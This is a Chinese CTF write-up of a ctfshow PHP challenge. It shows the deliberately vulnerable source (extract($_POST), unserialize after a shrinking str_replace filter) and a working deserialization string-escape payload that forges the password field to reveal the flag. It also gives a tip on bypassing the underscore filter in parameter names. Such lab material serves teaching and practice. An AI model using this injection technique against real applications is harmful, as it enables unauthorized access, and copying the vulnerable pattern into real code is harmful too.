<?php
error_reporting(0);
highlight_file(__FILE__);
class spaceman
{
public $username;
public $password;
public function __construct($username,$password)
{
$this->username = $username;
$this->password = $password;
}
public function __wakeup()
{
if($this->password==='ctfshowvip')
{
include("flag.php");
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('ctfshowup','ctfshow',$string);
}
$str = file_get_contents("php://input");
if(preg_match('/\_|\.|\]|\[/is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
$ser = filter(serialize(new spaceman($user_name,$pass_word)));
$test = unserialize($ser);
?>
这里先不管非预期,很明显,预期解是反序列化字符串逃逸,为便于理解,直接看payload吧。
user name=ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup&pass word=1";s:8:"password";s:10:"ctfshowvip
这时正常的序列化结果是这样的
O:8:"spaceman":2:{s:8:"username";s:108:"ctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowupctfshowup";s:8:"password";s:34:"1";s:8:"password";s:10:"ctfshowvip";}
但经过了替换后每个ctfshowup
都会变成ctfshow
,少了两个字符,这里12个ctfshowup
就少了24个字符,从而巧妙的将ctfshowup后面的24个字符(";s:8:"password";s:34:"1
)变成了username里的值,于是序列化结果变成了
O:8:"spaceman":2:{s:8:"username";s:108:"ctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshow";s:8:"password";s:34:"1";s:8:"password";s:10:"ctfshowvip";}
此时username的值是ctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshowctfshow";s:8:"password";s:34:"1
,password的则值是ctfshowvip
,符合条件,拿到flag
妙啊,真是妙蛙种子吃着妙脆角妙进了米奇妙妙屋,妙到家了
小知识点:
1.空格
,+
,[
可代替_
2.extract($_POST)
以POST方式传入变量